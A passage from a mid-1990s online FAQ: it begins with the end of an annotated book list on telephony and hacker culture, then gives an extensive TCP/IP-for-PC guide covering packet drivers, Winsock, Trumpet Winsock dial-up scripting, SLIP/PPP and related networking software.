System\nAuthor: R.F. Rey\nPublisher: Bell Telephont Laboratories\nISBN: 0-932764-04-5\n\nAlthough hopelessly out of date, this book remains *THE* book\non telephony. This book is 100% Bell, and is loved by phreaks\nthe world over.\n\nTelephony: Today and Tomorrow\nAuthor: Dimitris N. Chorafas\nPublisher: Prentice-Hall\nISBN: 0-13-902700-9\n\nThe Telecommunications Fact Book and Illustrated Dictionary\nAuthor: Ahmed S. Khan\nPublisher: Delmar Publishers, Inc.\nISBN: 0-8273-4615-8\n\nI find this dictionary to be an excellent reference book on\ntelephony, and I recommend it to anyone with serious\nintentions in the field.\n\nAuthor: Judas Gerard and Damien Thorn\nPublisher: Phoenix Rising Communications\nISBN:\n\nN The Phone Book\nAuthor: Carl Oppendahl\nPublisher: Consumer Reports\nISBN: 0-89043-364-x\n\nListing of every cellular ID in the us, plus roaming ports,\nand info numbers for each carrier.\n\nN Principles of Caller I.D.\nAuthor:\nPublisher: International MicroPower Corp.\nISBN:\n\nHacking History and Culture\n~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe Hacker Crackdown: Law and Disorder on the Electronic Frontier\nAuthor: Bruce Sterling\nPublisher: Bantam Books\nISBN: 0-553-56370-X\n\nBruce Sterling has recently released the book FREE to the net.\nThe book is much easier to read in print form, and the\npaperback is only $5.99. Either way you read it, you will be glad you did. Mr. Sterling is an excellent science fiction author and has brought his talent with words to bear on the hacking culture. A very enjoyable reading experience. Cyberpunk Author: Katie Hafner and John Markoff Publisher: Simon and Schuster Copyright Date: 1991 ISBN: 0-671-77879-X The Cuckoo's Egg Author: Cliff Stoll Publisher: Simon and Schuster Copyright Date: 1989 ISBN: 0-671-72688-9 Hackers: Heroes of the Computer Revolution Author: Steven Levy Publisher: Doubleday Copyright Date: 1984 ISBN: 0-440-13495-6 Unclassified ~~~~~~~~~~~~ The Hacker's Handbook Author: Hugo Cornwall Publisher: E. Arthur Brown Company Copyright Date: ISBN: 0-912579-06-4 Secrets of a Super Hacker Author: The Knightmare Publisher: Loompanics Copyright Date: 1994 ISBN: 1-55950-106-5 The Knightmare is no super hacker. There is little or no real information in this book. The Knightmare gives useful advice like telling you not to dress up before going trashing. The Knightmare's best hack is fooling Loompanics into publishing this garbage. The Day The Phones Stopped Author: Leonard Lee Publisher: Primus \/ Donald I Fine, Inc. Copyright Date: 1992 ISBN: 1-55611-286-6 Total garbage. Paranoid delusions of a lunatic. Less factual data that an average issue of the Enquirer. Information Warfare Author: Winn Swartau Publisher: Thunder Mountain Press Copyright Date: 1994 ISBN: 1-56025-080-1 An Illustrated Guide to the Techniques and Equipment of Electronic Warfare Author: Doug Richardson Publisher: Salamander Press Copyright Date: ISBN: 0-668-06497-8 _________________________________________________________________________ If you still are not satisfied: The TCP\/IP FAQ is posted to news:comp.protocols.tcp-ip, and is maintained by mailto:gnn@netcom.com The Windows NT Internet FAQ, written by Steve Scoggins, mailto:sscoggin@enet.net, is available via: http:\/\/www.luc.edu\/~tbaltru\/faq\/ The HTML version is maintained by Tom Baltrushaytis, mailto:tbaltru@orion.it.luc.edu This FAQ covers how to set up Windows NT for Internet access and various Internet resources specific to Windows NT. If you are using NT RAS for TCP\/IP connectivity, then you should read this FAQ. The ASCII text version is available via anonymous ftp from URL: ftp:\/\/rtfm.mit.edu\/pub\/usenet-by-hie...t_FAQ_Part_1_2 ftp:\/\/rtfm.mit.edu\/pub\/usenet-by-hie...t_FAQ_Part_2_2 The \"How To Get It\" FAQ on the Crynwr packet driver collection is irregularly posted to news:comp.protocols.tcp-ip.ibmpc by Russ Nelson, mailto:nelson@crynwr.com. ########### COOL WWW PAGES relating to TCP\/IP ########## http:\/\/www.charm.net\/ppp.html (Cool home page with lots of pointers to TCP\/IP stuff) http:\/\/www.zilker.net\/users\/internaut\/update.html (This FAQ, in HTML) http:\/\/www.crynwr.com\/crynwr\/nelson.html (Crynwr Software Home Page) ftp:\/\/ftp.biostat.washington.edu\/ftp...network.setups ################# EXAMPLE CONFIG FILES ################# Many thanks to Dave Fetrow (mailto:fetrow@biostat.washington.edu) for creating an archive of setup files. The archive is particularly oriented toward sets of applications that are somewhat tricky, such as combinations involving different driver sets, mixtures of NetWare, TCP\/IP, and W4WG, etc. Please include not only the setup and configuration files but some directions. Comments included with the setup files are highly desirable. The files can include your name if you desire. Please mail submissions to mailto:ftp@ftp.biostat.washington.edu. The archive itself is located at: ftp:\/\/ftp.biostat.washington.edu\/ftp...network.setups Late breaking development: the archive has crashed, and files have been lost. TABLE OF CONTENTS A. Components of a TCP\/IP solution A-1. What do I need to run TCP\/IP on the PC? A-2. What are packet drivers? Where do I get them? A-3. What is Winsock? Where can I get it? A-4. What is Trumpet Winsock? How do I get it to dial? A-5. What publicly distributable TCP\/IP applications are there for DOS? Windows? A-6. What software is available for doing SLIP? Compressed SLIP? PPP? For DOS? For Windows? A-7. What about the software included with various books? A-8. What diagnostic utilities are available to find problems with my connection? Where can I get them? A-9. Is there a CD-ROM with the software included in this FAQ? A-10. Does Windows NT support SLIP? PPP? A-11. Where can I get Microsoft TCP\/IP-32? A-12. How do I get my BBS to run over TCP\/IP? A-13. Are there graphical TCP\/IP servers out there? A-14. What methods of dynamic address assignment are available? A-15. How can I set up PPP server on a UNIX host? A-16. What is WinSNMP? Why doesn't my TCP\/IP stack support SNMP? A-17. What proxy servers are available for use with Web browsers? A-18. Why doesn't my Web browser support direct WAIS queries? A-19. What is SOCKS? What TCP\/IP stacks support it? A-20. How can I handle authentication on my NNTP server? A-21. What is SLIPKnot? A-22. What is TWinSock? A-23. How do I get info on the ODI specification? A-24. What is WinISDN? B. Questions about drivers B-1. What do I need to know before setting up SLIP or PPP? B-2. How do I configure SLIPDISK? B-3. How do I install packet drivers for Windows applications? B-4. When do I need to install WINPKT? B-5. How to do I run both WinQVT and ODI? B-6. Is it possible to use BOOTP over SLIP? B-7. How do SLIP drivers work? B-8. When do I need to install PKTMUX? B-9. Can NDIS be used underneath multiple protocol stacks of the same type? B-10. Is there an NDIS over packet driver shim? B-11. How do I run NetBIOS over TCP\/IP? B-12. How do I run NFS and another TCP\/IP application? B-13. How do I run Trumpet Winsock along with KA9Q or NFS? B-14. I am trying to run Netware and TCP\/IP at the same time, using PDETHER. How do I do this? B-15. Sample Stick Diagrams B-16. Strange and wonderful configuration files submitted by readers C. KA9Q Questions [part 2] C-1. What version of KA9Q should I use and where do I get it? C-2. What do I need to run KA9Q? Why won't it do VT-100 emulation? C-3. How do I configure KA9Q as a SLIP dialup connection? C-4. How do I configure KA9Q as a router? C-5. How do I get KA9Q to support BOOTP? C-6. How do I get KA9Q to support PPP? C-7. How do I get KA9Q to support SLIP dialin? C-8. Can I use KA9Q as a packet filter? C-9. Can I use KA9Q as a BOOTP server? C-10. Where can I get a manual for KA9Q? C-11. Is there a way to prevent KA9Q from listening to ICMP redirect packets? RIP packets? C-12. Will KA9Q route sourcF-routed packets? If so, is there any way to turn off this (rather undesirable) behavior? C-13. I'm trying to use the TextWin version of KA9Q as a SLIP router and it isn't working. What's wrong? D. PCROUTE and PCBRIDGE D-1. How do I get PCROUTE set up? D-2. I want to use MS TCP\/IP-32 to contact a host over a serial link, but have no SLIP or PPP driver. What do I do? D-3. How do I get PCBRIDGE to use a SLIP or PPP driver? D-4. Can I get PCROUTE to switch off RIP? E. Windows NT E-1. Does Windows NT support OSPF or RIP? What can I do to get around this? E-2. Why shouldn't I try to install Trumpet Winsock on NT? E-3. Where can I find out more about SMB? What ports does it use? F. Hints for particular packages F-1. How do I get DesQView X to run over the network? F-2. Why is NFS so slow compared with FTP? F-3. Where can I get information on running NetWare and TCP\/IP concurrently? F-4. What NetWare TCP\/IP NLMs are out there and how do I get them to work? F-5. How do I get a telecom package supporting Int 14h redirection to work? F-6. I am having trouble running Netmanage Chameleon apps along with WFW TCP\/IP-32. What do I do? F-7. How do I get Windows For Workgroups to work alongside NetWare? F-9. How come package X doesn't support the AppleTalk packet driver? F-10. NCSA Telnet doesn't reassemble fragments. What should I do? F-11. I am trying to configure a Macintosh to set its parameters automatically on bootup, but it isn't working. What's wrong? F-12. I've heard that DHCP is a potential security risk. Is this true? F-13. What is TIA? F-14. What PC TCP\/IP implementations support recent advances? F-15. What network adapters have on-board SNMP agents? F-16. What is the easiest way to get WFW and Novell Netware to coexist? F-17. I'm trying to use packet driver software alongside WFW v3.11 and am having a hell of a time. What should I do? F-18. What proxy software is available for those concerned about security? F-19. How do I mount ftp.microsoft.com on the desktop using file manager? F-20. I am having trouble connecting to a Windows NT PPP server. What should I do? F-21. When should I use COMT? F-22. What version of POP should I be running alongside Eudora? F-23. How do I use Netscape to read local files? F-24. I want to run an NNTP server under OS\/2. Does such an animal exist? G. Information for developers G-1. What publicly distributable TCP\/IP stacks are there that I can use to develop my own applications? G-2. Where can I get a copy of the Windows Sockets FAQ? G-3. How do I do multicasting using Windows Sockets? --------------------- FAQ Begins Here --------------------------- A. Components of a TCP\/IP solution A-1. What do I need to run TCP\/IP on the PC? To run TCP\/IP on the PC you will need: * Appropriate hardware, such as: Ethernet card Token Ring card AppleTalk card Serial Port Any other network card with a packet driver or NDIS or ODI driver, (such as Arcnet), will also work. If your card supports NetBIOS, this is also acceptable, since you can run a packet-driver-over- NetBIOS shim. * Drivers for your hardware. Your card probably came with one or more of the following drivers: Network Device Interface Specification (NDIS) drivers [spec. by 3Com and Microsoft, used by LAN Manager, Windows for Workgroups, and Windows NT. LAN Manager uses NDIS 2.0, Windows NT uses 3.0, and WFW supports 2.0 and will support 3.0] ODI Drivers [spec. by Novell, abbreviation for Open DataLink Interface] Packet Drivers [spec. by FTP Software] TCP\/IP stacks have been written for each of these driver interfaces, so the important thing is whether your chosen stack is compatible with the interface available for your card. A shim is software that runs on top of one set of drivers to provide an interface equivalent to another set. This is useful, for example,if you are looking to run software requiring an NDIS driver(such as Chameleon NFS) alongside software requiring a packet driver interface (such as KA9Q, Gopher, Popmail, NCSA Telnet, etc.), or run software intended for, say, a packet driver over an NDIS driver instead. Shims are available to run packet drivers over NetBIOS, ODI, or NDIS, in order to run software expecting a packet driver over NDIS, ODI, or NetBIOS instead. There are also shims to run NDIS over ODI (ODINSUP), and ODI over Packet Drivers (PDETHER). * A TCP\/IP protocol stack. The TCP\/IP protocol stack runs on top of the driver software, and uses it to access your hardware. If you are running a TCP\/IP protocol stack that requires drivers that aren't available for your hardware, you're in trouble. Check into this before purchasing! For DOS, in many cases a TCP\/IP stack is built into the applications. This is true for a great many of the packet driver applications, including KA9Q, and the WATTCP applications. * If running Windows applications that require it, WINSOCK.DLL. Windows Sockets is a sockets interface which was created as a Windows DLL. Each TCP\/IP implementation requires its own version of Windows Sockets. Trumpet Winsock and VxDTCP are the only two publicly distributable Windows Sockets implementations. WINSOCK.DLL provides 16-bit support; WSOCK32.DLL provides 32-bit support. * Applications software. Although most of us in this newsgroup seem to spend our time looking for working combinations of applications,WINSOCK.DLLs, Windows Sockets compliant TCP\/IP implementations, shims, drivers, and hardware, ultimately your goal is eventually to run an application successfully. If and when that happens, please send me a note, so I can add it to this FAQ. A-2. What are packet drivers? Where do I get them? Packet drivers provide a software interface that is independent of the interface card you are using, but NOT independent of the particular network technology. As Frances K. Selkirk (mailto:fks@vaxeline.ftp.com) notes: \"That's one reason they're easier to write than ODI drivers! If you write a class three (802.5 Token Ring) driver, you will need to use software that expects a class three driver, not software that expects a class 1 (DIX ethernet) driver. There are a few drivers that fake class 1. I believe only class 1 and class 6 (SLIP) drivers are supported by freeware packages.\" The chances are fair that your Ethernet card came with a packet driver, and if so, you should try that first. If not, then you can try one of the drivers from the Crynwr collection (formerly called the Clarkson Drivers). See the Resource listing for info. For 3COM drivers, try ftp:\/\/ftp.3com.com\/pub For technical information, try mailto:info@3com.com. For marketing and product info, try mailto:leads@hq.3mail.3com.com.The packet driver specification is available from ftp:\/\/vax.ftp.com\/packet-d.ascii The following vendors have packet drivers with source available for their pocket lan adaptors: D-Link - +1-714-455-1688 Solectek - +1-619-450-1220 Accton - +1-408-452-8900 Compulan - +1-408-922-6888 (soon Kodiak's Noteport - +1-408-441-6900) You can obtain a complete library of packet drivers from many of the Simtel20 mirror sites, including: ftp:\/\/oak.oakland.edu\/pub\/msdos\/pktdrvr\/pktd11.zip, ftp:\/\/oak.oakland.edu\/pub\/msdos\/pktdrvr\/pktd11c.zip. A-3. What is Windows Sockets? Where can I get it? The idea for Windows Sockets was born at Fall Interop '91, during a Birds of a Feather session. From the Windows Sockets specification: [courtesy of Mark Towfiq, mailto:towfiq@Microdyne.COM]: The Windows Sockets Specification is intended to provide a single API to which application developers can program and multiple network software vendors can conform. Furthermore, in the context of a particular version of Microsoft Windows, it defines a binary interface (ABI) such that an application written to the Windows Sockets API can work with a conformant protocol implementation from any network software vendor. Windows Sockets will be supported by Windows, Windows for Workgroups, Win32s, and Windows NT. It will also support protocols other than TCP\/IP. Under Windows NT, Microsoft will provides Windows Sockets support over TCP\/IP and IPX\/SPX. DEC will be implementing DECNet. Windows NT will include mechanisms for multiple protocol support in Windows Sockets, both 32-bit and 16-bit. Mark Towfiq writes: \"Files and information related to the Windows Sockets API are available via ftp:\/\/sunsite.unc.edu\/pub\/micro\/pc-s...ndows\/winsock, which is a mirror of ftp:\/\/microdyne.com\/pub\/winsock (SunSite has a much faster connection to the Internet, so you are advised to use that). If you do not have FTP access to the Internet, send a message with the word \"help\" in the body to either mailto:ftpmail@SunSite.UNC.Edu, or mailto:ftpmail@DECWRL.DEC.Com, to obtain information about the FTP to Mail service there.\" Alternative sources for the Windows Sockets specification include ftp:\/\/ftp.microsoft.com\/ (an FTP server running NT), as well as the Microsoft forum on CompuServe (go msl). Currently NetManage (NEWT), Distinct, Spry, FTP and Frontier are shipping Winsock TCP\/IP stacks, as is Microsoft (Windows NT and TCP\/IP for WFW), Beame & Whiteside Software (v1.1 compliant), and Sun PC-NFS. If you are looking for a Winsock.dll, you should first contact your TCP\/IP stack vendor. Novell has one in beta for their Lan Workplace for DOS. A-4 What is Trumpet Winsock? How can I get it to dial? Peter Tattam has released a shareware Windows Sockets compliant TCP\/IP stack. You can obtain it via ftp:\/\/ftp.utas.edu.au\/pc\/trumpet\/winsock\/winsock.zip, ftp:\/\/ftp.utas.edu.au\/pc\/trumpet\/winsock\/winapps.zip ftp:\/\/biochemistry.bioc.cwru.edu\/pub...k\/winsock.zip. ftp:\/\/biochemistry.bioc.cwru.edu\/pub...k\/winapps.zip. The first thing to do after you download WINSOCK.ZIP is to create a directory for Trumpet Winsock, such as C:\/TRUMPWSK, and put it in your DOS PATH statement. Trumpet Winsock operates over packet drivers, or over a serial port using its own built-in SLIP\/CSLIP and PPP. If you are using a network adapter, this means that you will have to locate a packet driver for your adapter, and load it. Trumpet Winsock also comes with WINPKT, and this is loaded next, via the command WINPKT.COM 0x60 [or whatever the software interrupt for your packet driver] You will then enter Windows, and create a group in the Program Manager for all the files that come with Trumpet Winsock. The stack itself is loaded by executing TCPMAN. Applications that come with it include WinCHAT, a chatting program; PINGW, a ping utility; FTPW for FTP, WINARCH for Archie. When you first execute TCPMAN, you will be asked to fill out the setup information for the stack. Select whether you will be using a network adapter or SLIP; you cannot use both. Since Trumpet Winsock now supports PPP, you do not need to load an Ethernet simulation drivers such as EtherPPP. If for some reason you don't like Trumpet Winsock's scripting language, you can use any other comm program that doesn't drop carrier on exit, or the DIALER program, available via: ftp:\/\/ftp.cica.indiana.edu\/pub\/pc\/wi...l\/dialexe.zip. You can also use EtherPPP (ftp:\/\/merit.edu\/pub\/ppp\/pc\/etherppp.zip) instead of Trumpet Winsock's built-in PPP. This is an Ethernet simulation driver, so you will configure Trumpet Winsock as though it were running over an Ethernet Packet driver, i.e. by loading WINPKT 0x60, and setting the packet driver vector in TCPMAN to 0x60. EtherPPP comes with its own dialer, so you will need to create a dialing script. If your TCP\/IP address will be changing, you will also need to write a little batch script to capture the assigned IP address, and insert it into Trumpet's initialization file. EtherPPP takes up too much RAM (121K), but otherwise works fine. As for Trumpet Winsock's built-in scripting language, the default dialout script is LOGIN.CMD. A sample LOGIN.CMD file from Geoff Cox (mailto:geoff@satro.demon.co.uk): # # initialize modem # output atzm0\\13 input 10 OK # # set modem to indicate DCD # output at&d2&c1\\13 input 10 OK\\n # # send phone number # output atdt0813434848\\r # # my other number # #output atdt241644\\13 # # now we are connected. # #input 30 CONNECT # # wait till it's safe to send because some modem's hang up # if you transmit during the connection phase # #wait 30 dcd # # now prod the terminal server # #output \\13 # # wait for the username prompt # input 30 ogin: username Enter your username output \\satro\\r # # and the password # input 30 assword: password Enter your password output \\my password\\r # # we are now logged in # input 30 otocol: # # see who on for informational reasons. # output SLIP\\r input 30 HELLO A-5. What publicly distributable TCP\/IP applications are there for DOS? Windows? Right now there are a wealth of publicly distributable TCP\/IP applications running under DOS. Windows also has a wealth of programs available, including implementations of Gopher, Mail (POP3\/SMTP), FSP, WWW, Telnet, FTP, IRC, and WAIS. See the Resource listings for information. A-6. What software is available for doing SLIP? Compressed SLIP? PPP? For DOS? For Windows? For OS\/2? Trumpet Winsock now supports both PPP as well as SLIP\/CSLIP. For SLIP or CSLIP use with DOS, I recommend using SLIPPER or CSLIPPER. These are packet drivers that can be used along with a dialer. For PPP, I recommend the EtherPPP packet driver described above. There is a special version of NCSA Telnet for PPP, available from ftp:\/\/merit.edu\/pub\/ppp\/pc. KA9Q supports SLIP\/CSLIP as well as PPP, but unfortunately can not be used as a TCP\/IP protocol stack to run other apps. I have heard good things about IBM's TCP\/IP for OS\/2, but haven't used it msyelf. Please see the FAQ from news:comp.os.os2.networking for details. IBM, FTP Software, Beame & Whiteside, Frontier, SPRY and Netmanage also offer SLIP support in their products. See the resource listings for details. A-7. What about the software included with various books? The software included with various books (including mine) is usually Chameleon Sampler from NetManage. Sampler supports SLIP\/CSLIP\/PPP, but not connection over a network, and includes software for FTP, Telnet, TN3270, and Mail. The stack included with Sampler (NEWT) is Winsock compatible, so you can run any Windows Sockets-compatible application over it. Installation is quite a bit simpler compared with going the Trumpet Winsock route, so this is probably the best way to go assuming that you are a dialup IP user. However, be aware that Chameleon Sampler can cause problems if you attempt to install it on a system that already has a version of TCP\/IP, such as one running Microsoft WFW TCP\/IP-32. The installer does not have an \"applications only\" option, which is unfortunate. Lately, some books are bundling Spyglass Mosaic. This is a good, solid Mosaic implementation, but not as featureful or wizzy as second generation browsers such as Netscape or BookLink. A-8. What diagnostic utilities are available to find problems with my connection? Where can I get them? Frequently used diagnostic utilities include ifconfig (checks the configuration of the network interfaces), ping (tests IP layer connectivity), traceroute (traces the route that a packet takes between two sites), netstat (checks the routing table), tcpdump (protocol analyzer), arp (looks at the IP to Ethernet address mappings). Microsoft TCP\/IP-32 includes versions of all of these except for tcpdump. KA9Q includes ifconfig, ping and traceroute functions. In KA9Q hop check is the equivalent of traceroute. The Trumpet TCP\/IP stack also has a hopchk2 command that is a traceroute equivalent. Etherload is very useful for network profiling, as well as packet analysis. Although it can't understand RARP or DHCP, it does handle multiple protocols (AppleTalk, IP, IPX\/SPX, NetBEUI), lots of IP protocols (ARP, BOOTP, DNS, RIP, TFTP, TCP and UDP statistics, Telnet, FTP). It even can handle NetBIOS traffic, which UNIX tcpdump can't. One weakness is that it doesn't do RARP or DHCP. The other major diagnostic utility I use is tcpdump, running under UNIX. However, this is a TCP\/IP only diagnostic tool, can't be used with Netware, and doesn't know diddly about NetBIOS. While Etherdump can be used for packet catching, I wish it would do more of the work for you, along the lines of TCPDUMP. Life's too short to spend looking at hex packet traces, so I use EtherLoad or tcpdump instead. Trumpet Winsock comes with Windows implementations of Ping and Traceroute. A-9. Is there a CD-ROM with the software included in this FAQ? The Packet Driver, WinSock & TCP\/IP CD-ROM is available from CDPublishing for$29.95. This includes the packet drivers of course,\nbut also lots of other DOS and Windows TCP\/IP stuff, including\nWindows Sockets applications. It also includes the text of all\nthe RFCs. This is now somewhat out of date (it was cut in\nDecember 1993), but is otherwise highly recommended.\n\nCDPublishing, (604)874-1430, (800)333-7565, fax: (604)874-1431,\nmailto:info@CDPublishing.com, ftp:\/\/ftp.CDPublishing.com\/,\nGopher site: gopher:\/\/gopher.CDPublishing.com\/, WWW: http:\/\/www.CDPublishing.com\/\n\nA-10. Does Windows NT support SLIP? PPP?\n\nThe Windows NT 3.5 supports PPP (client and server) and SLIP (client),\nboth including support for Van Jacobson header compression. It also\nsupports DHCP, and Windows Internet Name Service (WINS).\n\nA-11. Where can I get Microsoft TCP\/IP-32?\n\nMicrosoft has now released a 32-bit TCP\/IP stack for\nWindows for Workgroups v3.11. It's easy to set up,\nfast, and has worked fine for me. It supports a host of very\nnice new features, including DHCP automatic configuration, WINS\nname resolution, and Windows Sockets v1.1. In addition it comes\nwith Telnet and FTP applications. However, please note that\nit does not offer SLIP or PPP support.\nThe final release is now available via:\nftp:\/\/ftp.microsoft.com\/peropsys\/windows\/Public\/tcpip\/\n\nA-12. How do I get my BBS to run over TCP\/IP?\n\nFirst off, let's clarify what we mean by \"over TCP\/IP.\" This can mean\neverything from \"accessible via Telnet\" to being a full Internet\ncitizen, supporting Gopher, HTML, etc.\n\nNovaLink Professional is today the only BBS software that includes\nsupport for HTML in mail and news. For info, contact Res Nova\nSoftware. Softarc's FirstClass package will soon be availble on Windows NT,\nand has also promised HTML support.\n\neSoft's IPAD is a full fledged SMTP, NNTP, DNS, FTP, Telnet, and SLIP\/PPP\nserver, that can be hooked up to an existing TBBS system to provide\nfull Internet support. It comes with hardware and costs in the neighborhood\nof $4K. The Major BBS now runs under UNIX, and thus offers Internet support; the DOS version now has an Internet gateway that can handle telnet, mail, and news, among other things. Support for a variety of BBSes is available from Murkworks. Their BBSNet product provides a Telnet interface that looks like a FOSSIL driver. The first version runs partly as an NLM; some of the code resides on the server. For info, contact BBSnet,MurkWorks, Inc., P.O. Box 631,Potsdam, NY 13676, +1 315 265 4717, mailto:info@MurkWorks.com For further information on running BBSes on the Internet, see The Online User's Encyclopedia, Addison-Wesley. A-13. Are there graphical servers out there? Yes! For Windows there is a graphical SMTP daemon which is not very functional (it can't do as much as KA9Q); several Web servers, including a Windows version of NCSA's HTTP, and SerWeb. For Windows NT, The European Microsoft Windows Academic Consortium (EMWAC) has released Windows NT servers for Gopher, WAIS, and WWW. These servers are easy to install, and fast, and offer the full complement of capabilities, including support for forms, access to WAIS indices from within HTTPS, installation as a Windows NT service, etc. Highly recommended. See the resource section for details. A-14. What methods of address assignment are available? Methods of address assignment include client\/server protocols (RARP, BOOTP, DHCP), as well as script-based methods (terminal server indicates, \"your address is 192.187.147.2\"). PPP also supports assignment of addresses from the server. As part 2 of this FAQ discusses, there are RARP and BOOTP clients and servers available for DOS. Typically the clients work by stashing the IP address in a DOS environmental variable. It is then your responsibility to modify the appropriate config files to reflect this address. This can be done using a DOS batch script and a utility such as DOS awk. This same approach can be used to modify config files when using EtherPPP; this does not place the IP address into a variable, but the output of EtherPPP can be piped to a file and the IP address picked off and inserted in the appropriate locations. If this sounds complicated, it is; be warned. Trumpet Winsock supports script-based assignment of addresses. Microsoft TCP\/IP supports a DHCP client and NT Server supports a DHCP server. There is also a forthcoming DHCP server for Sun. However, be aware that these products are not always RFC compliant. For example, RFC covers interoperability between BOOTP and DHCP. This RFC states states how a DHCP client can use a BOOTP server to determine its parameters, and how a BOOTP client can interoperate with a DHCP server. However, I am not aware of a DHCP client or server that implements these recommendations. A-15. How can I set up PPP server on a UNIX host? This is not the appropriate place to address that question, but lots of info on this is available in the news:comp.protocols.ppp FAQ. A-16. What is WinSNMP? Why doesn't my TCP\/IP stack support SNMP? WinSNMP is an API which provides a standard interface to to the Simple Network Management Protocol (SNMP) for network management applications running under Windows. Applications written to WinSNMP can run on any WinSNMP-compatible implementation. Vendors supporting WinSNMP include FTP Software, which supports it in both OnNet 1.1, and PC\/TCP 3.0. SNMP agents are also available in Windows NT, Chameleon, and other packages. There are also freeware WinSNMP-compliant applications. See the Resource Section for details. However, if your chosen TCP\/IP stack does not support an SNMP agent, you are probably out of luck. This is because SNMP support cannot just be tacked on; the stack must keep the statistics, and work closely with the SNMP agent in order to allow these variables to be read in response to SNMP queries. Without detailed knowledge of a particular stack's operation, it is virtually impossible to write an SNMP agent for it. A-17. What proxy servers are available for use with Web browsers? Mosaic and WinWeb now both support proxies via the CERN httpd, which supports http, ftp, gopher, and wais proxies, as well as caching. Netscape supports the SOCKS proxy. A-18. Why doesn't my Web browser support direct WAIS queries? If you've been trying out WinWeb, Netscape, Booklink, Windows Mosaic, or Cello, you've noticed that trying to resolve a WAIS URL results in an error. You may have checked your URL syntax over and over, trying to figure out what you did wrong. Guess what? The only Web browser that supports direct WAIS queries is XMosaic v2.4 or later. On that browser, a WAIS query will generate a request to port 210 on the destination WAIS site. (I know, because I've run TCPDUMP to verify this). On other browsers, you can reach WAIS sites that have set up a Gopher or Web server to handle queries; however, you cannot reach them directly. How did this come about? Windows Mosaic v1.0 contained support for a WAIS gateway operating at NCSA. This gateway took your incoming request, and forwarded it to the destination WAIS site, and when the response came back, forwarded the answer to you. However, the NCSA WAIS gateway got bogged down, so support for WAIS gatewaying was removed in v2.0. However, since they didn't put direct WAIS support in, an error was generated. In my opinion, this was (and is) handled lamely. Either put up a reasonable error message explaining that WAIS is not supported, or put in direct support. A-19. What is SOCKS? What TCP\/IP stacks and applications support it? SOCKS is a type of proxy server that listens on port 1080. Instead of sending HTTP requests to port 80, gopher to port 70, etc. a SOCKS-compliant application will instead route them to port 1080 on the SOCKS server. The SOCKS server then examines the requests and decides if they should be allowed or denied. To my knowledge, Trumpet Winsock v2.0 is the only TCP\/IP stack with built-in SOCKS support. It apparently has problems with rbind, which can get gotten around by using FTP in PASV mode. Netscape also supports SOCKS. A-20. How can I handle authentication on my NNTP server? A good way to handle this is to use the AUTHINFO extensions to NNTP which are supported by the INN server, as well as clients supporting AUTHINFO, such as WinVN, the Trumpet newsreader (DOS and Windows versions), and Internews on the Macintosh. With AUTHINFO, you can automatically allow hosts within a known subdomain to post without authentication, forcing users outside this domain to input their userID and password, which is the same as that needed to access a POP server running on the same machine. With AUTHINFO, the userID is automatically placed in the posting. A-21. What is SlipKnot? SlipKnot (TM) is a shareware Web browser for MS Windows that works with ordinary UNIX shell accounts, without requiring a SLIP or PPP connection. SlipKnot provides a UNIX shell terminal window so that you can still use your ordinary UNIX commands, or you can switch into Web browser mode. With SlipKnot, up to five documents can be visible at a time; previous requests are cached. Since SlipKnot supports threading, you can look at an existing document while a new one is being retrieved. SlipKnot supports saving or printing of documents, including embedded images. SlipKnot requires a mouse, Windows 3.1 or WFW with 2 MB disk space, 4 MB of memory, with 8 MB recommended. On the UNIX side, you will need Xmodem or Ymodem support. See the resource section for details. A-22. What is TwinSock? TwinSock is a freeware Winsock proxy client implementation. When using TwinSock, you need not assign an official IP address. When a Windows application makes a Windows Sockets call, the TwinSock client passes the request to a version of TwinSock running on the firewall host. The firewall host will then permit or deny the request, and will pass the response to through to the requesting client. For more information on TwinSock, check out news:alt.dcomp.slip-emulators, news:comp.os.ms-windows.networking.tcp-ip, news:comp.os.ms-windows.apps.comm A-23. How do I get info on the ODI specification? Try: ftp:\/\/netlab2.usu.edu\/odi A-24. What is WinISDN? Ed Klingman (mailto:klingman@interramp.com) writes: The WinISDN API is an open standard. It was created by NetManage, ISDN*tek and Performance Systems. Inc (PSI) to support PPP packets to the Internet, peer-to-peer connectivity, and Voice applications over ISDN. It is NOT a proprietary standard, no royalties are associated with it. WinISDN is packet-based and (for simple connectivity) requires NO knowledge of ISDN protocols. This is probably its main advantage over CAPI and TAPI, both of which tend to require ISDN protocol knowledge to do the simplest connection. Of course, ISDN protocol support is there for advanced applications. WinISDN provides very simple connections over ISDN networks and supports HDLC PPP packets on B-channels, Voice, and streaming data transfer as well as X.25 packets on the D-channel. It runs on Windows 3.1 systems and has run under Windows 95 beta. It works well under IBM's Win\/OS2 software. WinISDN is supported by the following hardware providers: ISDN*tek - available IBM - announced 3COM - not officially announced AccessWorks - not officially announced Motorola - not officially announced Teles - not officially announced others - working on it WinISDN is supported by the following TCP-IP software vendors: NetManage - available Spry - Q2 - not officially announced Wollongong - Q2 - not officially announced FTP - Q3 - not officially announced Frontier - ?? Internet Access using WinISDN is available in: US - all ISDN switches: AT&T 5ESS, DMS-100, Siemens Japan - NTT INS-64 Israel - Bezeq ISDN Europe - Q2 or Q3, 1995 The WinISDN API can be downloaded (as a Word 2.0 doc) from: ftp:\/\/ftp.netmanage.com\/pub\/win_stan...n\/winisdn9.doc The market did not \"agree\" to this standard. It became a standard by providing the first PC-card ISDN acess to the Internet in the US. Its simplicity, robustness, and open-ness, caused it to be adopted by the above players, among others. It was designed to allow mapping from CAPI and TAPI into WinISDN. ISDN*tek will be announcing a Visual Basic WinISDN Developers kit at the Software Developers Conference in Feb and VBITs in March. B. Questions about drivers B-1. What do I need to know before setting up SLIP or PPP? Before setting up your SLIP or PPP connection, you should have available the following information: * The domain name and TCP\/IP address of your host. * Whether your TCP\/IP address will be assigned statically, dynamically, or from the server. * If from the server, whether you will be using RARP, BOOTP or DHCP. * The domain name and TCP\/IP address of your machine (if you are not configuring the address dynamically or via BOOTP) * The domain name and TCP\/IP address of the primary and secondary Domain Name Server. * The subnet mask. * The domain name and TCP\/IP address of an NNTP server. * Whether your host supports POP, and if so, what version. * Whether the host supports compressed or uncompressed SLIP, or PPP. * The size of the Maximum Receivable Unit (MRU). Do not attempt to connect to your host before you have this information, since it will just waste your time and money, and may cause problems for the network. In particular, do not attempt to initiate a connection using a made up TCP\/IP address! It is possible that your madF-up address may conflict with an existing address. This is probably the quickest way to get people very angry at you. Static addressing means that your TCP\/IP address will always be the same. This makes it easy to configure your setup files. Dynamic addressing means that the host will send you a message containing your TCP\/IP address when you log on. This can be problematic if 